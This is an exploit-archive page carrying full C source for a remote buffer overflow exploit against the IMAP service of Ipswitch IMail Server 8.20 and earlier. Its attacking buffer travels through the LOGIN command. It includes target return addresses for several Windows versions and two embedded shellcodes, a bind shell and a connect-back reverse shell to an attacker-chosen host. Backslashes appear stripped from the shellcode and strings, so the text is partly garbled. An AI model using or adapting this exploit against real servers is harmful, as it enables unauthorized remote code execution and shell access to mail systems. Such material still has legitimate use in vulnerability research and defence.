[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : IPSwitch IMail Server <= 8.20 IMAPD Remote Buffer Overflow Exploit
# Published : 2007-04-01
# Author : Heretic2
# Previous Title : Oracle 9i/10g ACTIVATE_SUBSCRIPTION SQL Injection Exploit
# Next Title : MS Windows XP/Vista Animated Cursor (.ANI) Remote Overflow Exploit
/* Dreatica-FXP crew
*
* ----------------------------------------
* Target : Ipswitch IMAIL Server IMAPD 7.13 - 8.20 exploit
* Site : http://www.ipswitch.com
* Found by : iDEFENSE Security (http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=243)
* ----------------------------------------
* Exploit date : 31.03.2007
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS : Windows 2000 SP4 and Windows XP ALL
* Crew : Dreatica-FXP
* ----------------------------------------
* Info: Well, this is the realization of the IMAIL IMAPd 'LOGIN' buffer overflow vulnerability.
* The version provided by kcope uses SEH overwrite method, which doesn't work on Windows XP SP2,
* so i have written the exploit that overwrites EIP and then execute the shellcode.
*
* I have tested this exploit on the all versions of Imail from 7.13 to 8.20, versions < 7.13 are also vulnerable,
* but i don't have them to test the exploit, Windows 2000 SP4 and Windows XP SP0-SP2.
*
* Here you need to select the OS and the IMAIL version, that is not good, but anyone with some brain can
* easily modify the code to get version of Imail from banner or obtain 'data segment' value without knowing
* the Imail version.
*
* ----------------------------------------
* Thanks to:
* iDEFENSE Security ( http://labs.idefense.com/
* The Metasploit project ( http://metasploit.com )
* kcope ( <kingcope [at] gmx.net> )
* Dreatica-FXP crew ( )
* ----------------------------------------
* This was written for educational purpose only. Use it at your own risk. Author will be not be
* responsible for any damage, caused by that code.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
void usage(char * s);
void help(char * s);
void logo();
SOCKET do_connect (char *remotehost, int port);
void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport);
void make_buffer(unsigned char * buf, int itarget, int sh, char * cbip, int cbport, int ifix);
int send_buffer(SOCKET sa, char * buf, char * remotehost, int port);
int validate_args(int port, int sh, int itarget, int fix);
// ###################################################
// # XGetopt.h Version 1.2
// ###################################################
extern int optind, opterr;
extern char *optarg;
int getopt(int argc, char *argv[], char *optstring);
// ##################################################
struct _target{
const char *t ;
unsigned long ret ;
} targets[] =
{ // jmp esp
{"Windows 2000 SP4 ENG [ shell32.dll ]", 0x7850d3bf },
{"Windows XP SP0 ENG [ ntdll.dll ]", 0x77f439e3 },
{"Windows XP SP0 RUS [ ntdll.dll ]", 0x77f5801c },
{"Windows XP SP1 ENG [ ntdll.dll ]", 0x77fa59cc },
{"Windows XP SP1 RUS [ ntdll.dll ]", 0x77fb59cc },
{"Windows XP SP2 ENG [ ntdll.dll ]", 0x7C941eed },
{"Windows XP SP2 RUS [ ntdll.dll ]", 0x7C941eed },
{"Windows XP SP2 RUS(no patches) [ shell32.dll ]", 0x7C82385D },
{NULL, 0x00000000 }
};
struct _imail{
const char * name ;
unsigned long fix;
}imailfix[] =
{
// address to data segment in Mailbox
{"Ipswitch IMAIL Server IMAPD 7.04 - 8.05HF3", 0x10034000},
{"Ipswitch IMAIL Server IMAPD 8.10 - 8.11 ", 0x1002f000},
{"Ipswitch IMAIL Server IMAPD 8.12 - 8.20 ", 0x10031000},
{NULL, 0x00000000}
};
struct _shellcode{
const char * name;
char * shellcode;
} shellcodes[]={ // bad charachters: 0x00 0x03 0x0A 0x0C 0x22 0x5C (and more)
{"Spawn bindshell on port 4444",
/* win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
"x29xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13x63"
"xb4x7dx58x83xebxfcxe2xf4x9fxdex96x15x8bx4dx82xa7"
"x9cxd4xf6x34x47x90xf6x1dx5fx3fx01x5dx1bxb5x92xd3"
"x2cxacxf6x07x43xb5x96x11xe8x80xf6x59x8dx85xbdxc1"
"xcfx30xbdx2cx64x75xb7x55x62x76x96xacx58xe0x59x70"
"x16x51xf6x07x47xb5x96x3exe8xb8x36xd3x3cxa8x7cxb3"
"x60x98xf6xd1x0fx90x61x39xa0x85xa6x3cxe8xf7x4dxd3"
"x23xb8xf6x28x7fx19xf6x18x6bxeax15xd6x2dxbax91x08"
"x9cx62x1bx0bx05xdcx4ex6ax0bxc3x0ex6ax3cxe0x82x88"
"x0bx7fx90xa4x58xe4x82x8ex3cx3dx98x3exe2x59x75x5a"
"x36xdex7fxa7xb3xdcxa4x51x96x19x2axa7xb5xe7x2ex0b"
"x30xe7x3ex0bx20xe7x82x88x05xdcx6cx04x05xe7xf4xb9"
"xf6xdcxd9x42x13x73x2axa7xb5xdex6dx09x36x4bxadx30"
"xc7x19x53xb1x34x4bxabx0bx36x4bxadx30x86xfdxfbx11"
"x34x4bxabx08x37xe0x28xa7xb3x27x15xbfx1ax72x04x0f"
"x9cx62x28xa7xb3xd2x17x3cx05xdcx1ex35xeax51x17x08"
"x3ax9dxb1xd1x84xdex39xd1x81x85xbdxabxc9x4ax3fx75"
"x9dxf6x51xcbxeexcex45xf3xc8x1fx15x2ax9dx07x6bxa7"
"x16xf0x82x8ex38xe3x2fx09x32xe5x17x59x32xe5x28x09"
"x9cx64x15xf5xbaxb1xb3x0bx9cx62x17xa7x9cx83x82x88"
"xe8xe3x81xdbxa7xd0x82x8ex31x4bxadx30x93x3ex79x07"
"x30x4bxabxa7xb3xb4x7dx58"
},
{"ConnectBack shell (set the CBIP and CBPort)",
/* thx to the one who wrote it, taken from kcope exploit */
"xEBx10x5Bx4Bx33xC9x66xB9x25x01x80x34x0BxC2xE2xFA"
"xEBx05xE8xEBxFFxFFxFF"
"x2Bx39xC2xC2xC2x9DxA6x63xF2xC2xC2xC2x49x82xCEx49"
"xB2xDEx6Fx49xAAxCAx49x35xA8xC6x9Bx2Ax59xC2xC2xC2"
"x20x3BxAAxF1xF0xC2xC2xAAxB5xB1xF0x9Dx96x3DxD4x49"
"x2AxA8xC6x9Bx2Ax40xC2xC2xC2x20x3Bx43x2Ex52xC3xC2"
"xC2x96xAAxC3xC3xC2xC2x3Dx94xD2x92x92x92x92x82x92"
"x82x92x3Dx94xD6x49x1AxAAxBDxC2xC2xC3xAAxC0xC2xC2"
"xF7x49x0ExA8xD2x93x91x3Dx94xDAx47x02xB7x88xAAxA1"
"xAFxA6xC2x4BxA4xF2x41x2Ex96x4FxFExE6xA8xD7x9Bx69"
"x20x3Fx04x86xE6xD2x86x3Cx86xE6xFFx4Bx9ExE6x8Ax4B"
"x9ExE6x8Ex4Bx9ExE6x92x4Fx86xE6xD2x96x92x93x93x93"
"xA8xC3x93x93x3DxB4xF2x93x3Dx94xC6x49x0ExA8x3Dx3D"
"xF3x3Dx94xCAx91x3Dx94xDEx3Dx94xCEx93x94x49x87xFE"
"x49x96xEAxBAxC1x17x90x49xB0xE2xC1x37xF1x0Bx8Bx83"
"x6FxC1x07xF1x19xCDx7CxD2xF8x14xB6xCAx03x09xCFxC1"
"x18x82x29x33xF9xDDxB7x25x98x49x98xE6xC1x1FxA4x49"
"xCEx89x49x98xDExC1x1Fx49xC6x49xC1x07x69x9Cx9Bx01"
"x2AxC2x3Dx3Dx3Dx4Cx8CxCCx2ExB0x3Cx71xD4x6Fx1BxC7"
"x0CxBCx1Ax20xB1x09x2Fx3ExF9x1BxCBx37x6Fx2Ex3Bx68"
"xA2x25xBBx04xBB"
},
{NULL , NULL }
};
// jump to our shellcode
unsigned char jmpcode[] = "x8Bxc4x66x2DxECx01x66x81xecxf0x02xFFxE0";
int main(int argc, char **argv)
{
char * remotehost=NULL, * cbip=NULL;
char def_cbip[]="127.0.0.1";
char temp1[100], temp2[100];
int cbport, port, itarget=0, sh=0, fix=0;
SOCKET s;
char c;
logo();
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
if(argc<2)
{
usage(argv[0]);
WSACleanup();
return -1;
}
// set defaults
cbport=4444;
port=143;
// ------------
while((c = getopt(argc, argv, "h:p:s:t:I:P:f:"))!= EOF)
{
switch (c)
{
case 'h':
remotehost=optarg;
break;
case 's':
sscanf(optarg, "%d", &sh);
sh--;
break;
case 't':
sscanf(optarg, "%d", &itarget);
itarget--;
break;
case 'f':
sscanf(optarg, "%d", &fix);
fix--;
break;
case 'p':
sscanf(optarg, "%d", &port);
break;
case 'P':
sscanf(optarg, "%d", &cbport);
break;
case 'I':
cbip=optarg;
break;
default:
usage(argv[0]);
return -1;
}
}
if(remotehost==NULL)
{
usage(argv[0]);
WSACleanup();
return -1;
}
if((sh==1)&&(cbip==NULL)) cbip = def_cbip ;
if(validate_args(port, sh, itarget, fix)==-1) return -1;
memset(temp1,0,sizeof(temp1));
memset(temp2,0,sizeof(temp2));
memset(temp1, 'x20' , 58 - strlen(remotehost) -1);
printf(" # Host : %s%s# n", remotehost, temp1);
sprintf(temp2, "%d", port);
memset(temp1,0,sizeof(temp1));
memset(temp1, 'x20' , 58 - strlen(temp2) -1);
printf(" # Port : %s%s# n", temp2, temp1);
memset(temp1,0,sizeof(temp1));
memset(temp2,0,sizeof(temp2));
sprintf(temp2, "%s", shellcodes[sh].name );
memset(temp1, 'x20' , 58 - strlen(temp2) -1);
printf(" # Shellcde: %s%s# n", temp2, temp1);
memset(temp1,0,sizeof(temp1));
memset(temp1, 'x20' , 58 - strlen(targets[itarget].t) -1);
printf(" # Target : %s%s# n", targets[itarget].t, temp1);
if(sh==1)
{
memset(temp1,0,sizeof(temp1));
memset(temp1, 'x20' , 58 - strlen(cbip) -1);
printf(" # CB IP : %s%s# n", cbip, temp1);
sprintf(temp2, "%d", cbport);
memset(temp1,0,sizeof(temp1));
memset(temp1, 'x20' , 58 - strlen(temp2) -1);
printf(" # CB port : %s%s# n", temp2, temp1);
}
printf(" # ------------------------------------------------------------------- # n");
printf("[+] Checking if server is online... ");
fflush(stdout);
s=do_connect(remotehost, port);
if(s==-1)
{
fprintf(stdout, "failedn");
return 0;
}
closesocket(s);
printf("SUCCESS!n");
char buf[1000];
memset(buf,0,sizeof(buf));
printf("[+] Constructing attacking buffer... ");
fflush(stdout);
make_buffer((unsigned char *)buf,itarget,sh,cbip,cbport,fix);
printf("donen");
SOCKET sa;
sa=do_connect(remotehost, port);
if(sa==-1)
{
fprintf(stdout, "[-] Connection failed to server %sn", remotehost);
return -1;
}
printf("[+] Sending %d bytes of buffer to servern", strlen(buf));
if(send_buffer(sa, buf,remotehost,port)==0)
{
fprintf(stdout, "[-] Cannot send the buffer to server %sn", remotehost);
return -1;
}
printf("[+] Buffer sentn");
closesocket(sa);
if(sh==0)
{
printf("[+] Connect to %s:%dn", remotehost, 7915);
}else
{
printf("[+] The shell should arrive to %s:%d", cbip, cbport);
}
WSACleanup();
return 0;
}
int validate_args(int port, int sh, int itarget, int fix)
{
int i=0,x=0;
for(i=0;shellcodes[i].name;i++)if(i==sh)x=1;
if(x==0)
{
printf("[-] The shellcode number is invalidn");
return -1;
}
x=0;
for(i=0;targets[i].t;i++)if(i==itarget)x=1;
if(x==0)
{
printf("[-] The target is invalidn");
return -1;
}
x=0;
for(i=0;imailfix[i].name;i++)if(i==fix)x=1;
if(x==0)
{
printf("[-] The imail version is invalidn");
return -1;
}
if(port<=0)
{
printf("[-] The port is invalidn");
return -1;
}
return 1;
}
SOCKET do_connect (char *remotehost, int port)
{
static struct hostent *host;
static struct sockaddr_in addr;
static int done=0;
SOCKET s;
if (done != 1)
{
host = gethostbyname(remotehost);
if (!host)
{
perror("[-] gethostbyname() failed");
return -1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}
s = socket(PF_INET, SOCK_STREAM, 0);
if (s == -1)
{
closesocket(s);
perror("socket() failed");
return -1;
}
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
{
closesocket(s);
return -1;
}
done=1;
return s;
}
void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport)
{
memcpy(fsh, shellcodes[sh].shellcode, strlen(shellcodes[sh].shellcode));
if(sh==1)
{
static struct hostent *host = gethostbyname(cbip);
static struct sockaddr_in addr;
addr.sin_addr = *(struct in_addr*)host->h_addr;
fsh[111] = (addr.sin_addr.S_un.S_un_b.s_b1) ^ 0xc2;
fsh[112] = (addr.sin_addr.S_un.S_un_b.s_b2) ^ 0xc2;
fsh[113] = (addr.sin_addr.S_un.S_un_b.s_b3) ^ 0xc2;
fsh[114] = (addr.sin_addr.S_un.S_un_b.s_b4) ^ 0xc2;
fsh[118] = ((cbport >> 8) & 0xff) ^ 0xc2;
fsh[119] = ((cbport ) & 0xff) ^ 0xc2;
}
}
void make_buffer(unsigned char * buf, int itarget, int sh, char * cbip, int cbport, int ifix)
{
// prepare shellcode
unsigned char * fsh;
fsh = (unsigned char *) malloc ((strlen(shellcodes[sh].shellcode)+1) );
memset(fsh, 0, (strlen(shellcodes[sh].shellcode)+1));
prepare_shellcode(fsh, sh, cbip, cbport);
// -----------------
// init buffer
memset(buf,0,sizeof(buf));
unsigned char * cp = buf;
*cp++ = '@';
*cp++ = 'x90';
*cp++ = 'x90';
*cp++ = 'x90';
*cp++ = 'x90';
// write shellcode
memcpy(cp, fsh, strlen((char *)fsh) );
cp+=strlen((char *)cp);
memset(cp, 'A', 488-strlen((char *)fsh));
cp+=strlen((char *)cp);
// set EIP
*cp++ = (unsigned char)((targets[itarget].ret ) & 0xff);
*cp++ = (unsigned char)((targets[itarget].ret >> 8) & 0xff);
*cp++ = (unsigned char)((targets[itarget].ret >> 16) & 0xff);
*cp++ = (unsigned char)((targets[itarget].ret >> 24) & 0xff);
*cp++ = 'x41';
*cp++ = 'x41';
*cp++ = 'x41';
*cp++ = 'xeb';
*cp++ = 'x03';
*cp++ = (unsigned char)((imailfix[ifix].fix >> 8) & 0xff);
*cp++ = (unsigned char)((imailfix[ifix].fix >> 16) & 0xff);
*cp++ = (unsigned char)((imailfix[ifix].fix >> 24) & 0xff);
// add jump back
memcpy(cp, jmpcode, strlen((char *)jmpcode));
// -----------
}
int send_buffer(SOCKET s, char * buf, char * remotehost, int port)
{
char bufmax[1024];
recv(s, bufmax, sizeof(bufmax),0);
char sendbuf[1000];
memset(sendbuf, 0, sizeof(sendbuf));
strcat(sendbuf, "a001 LOGIN "");
strcat(sendbuf, buf);
strcat(sendbuf, "" passwordrn");
int sentbytes=send(s, sendbuf, (int)strlen(sendbuf),0);
if(sentbytes<(int)strlen(sendbuf)) return 0;
return 1;
}
void usage(char * s)
{
printf(" Usage: %s -h <host> [-p <port>] [-s <shellcode>] [-t <target>] [-f <imail>] [-I <cb IP>] [-P <cb port>]nn", s);
printf(" ----------------------------------------------------------------------- n");
printf(" Arguments:n");
printf(" -h host to connect n");
printf(" -p port (default: 143 )n");
printf(" -s shellcode (default: 1 )n");
printf(" -t target (default: 1 )n");
printf(" -f Imail version (default: 1 )n");
printf(" -I connect back IP (default: 127.0.0.1)n");
printf(" -P connect back port(default: 4444 )n");
printf("n");
printf(" Shellcodes:n");
for(int i=0; shellcodes[i].name!=0;i++)
{
printf(" %d. %sn",i+1,shellcodes[i].name);
}
printf("n");
printf(" Targets:nn");
int j;
for(j=0; targets[j].t!=0;j++)
{
printf(" %d. %sn",j+1,targets[j].t);
}
printf("n");
printf(" Imail version:nn");
for(j=0; imailfix[j].name!=0;j++)
{
printf(" %d. %sn",j+1,imailfix[j].name);
}
printf("n");
printf(" ----------------------------------------------------------------------- n");
}
// ###################################################
// # XGetopt.h Version 1.2
// ###################################################
char *optarg; // global argument pointer
int optind = 0; // global argv index
int getopt(int argc, char *argv[], char *optstring)
{
static char *next = NULL;
if (optind == 0)
next = NULL;
optarg = NULL;
if (next == NULL || *next == ' ')
{
if (optind == 0)
optind++;
if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == ' ')
{
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}
if (strcmp(argv[optind], "--") == 0)
{
optind++;
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}
next = argv[optind];
next++; // skip past -
optind++;
}
char c = *next++;
char *cp = strchr(optstring, c);
if (cp == NULL || c == ':')
return '?';
cp++;
if (*cp == ':')
{
if (*next != ' ')
{
optarg = next;
next = NULL;
}
else if (optind < argc)
{
optarg = argv[optind];
optind++;
}
else
{
return '?';
}
}
return c;
}
// ###################################################
void logo()
{
printf(" ####################################################################### n");
printf(" # ____ __ _ ______ __ _____ #n");
printf(" # / __ \________ _____/ /_(_)_________ / __/\ \/ / / _ / #n");
printf(" # / / / / ___/ _ \/ __ / __/ / ___/ __ / ___ / / \ / / // / #n");
printf(" # / /_/ / / / ___/ /_// /_/ / /__/ /_// /__/ / _/ / \ / ___/ #n");
printf(" # /_____/_/ \___/ \_,_/\__/_/\___/\__,_/ /_/ /_/\_\/_/ #n");
printf(" # crew #n");
printf(" ####################################################################### n");
printf(" # Exploit : Ipswitch IMAIL Server IMAPD 7.13 - 8.20 exploit # n");
printf(" # Version : 1.0 # n");
printf(" # System : Windows 2000 SP4, Windows XP ALL # n");
printf(" # Date : 31.03.2007 # n");
printf(" # ------------------------------------------------------------------- # n");
}
// www.Syue.com [2007-04-01]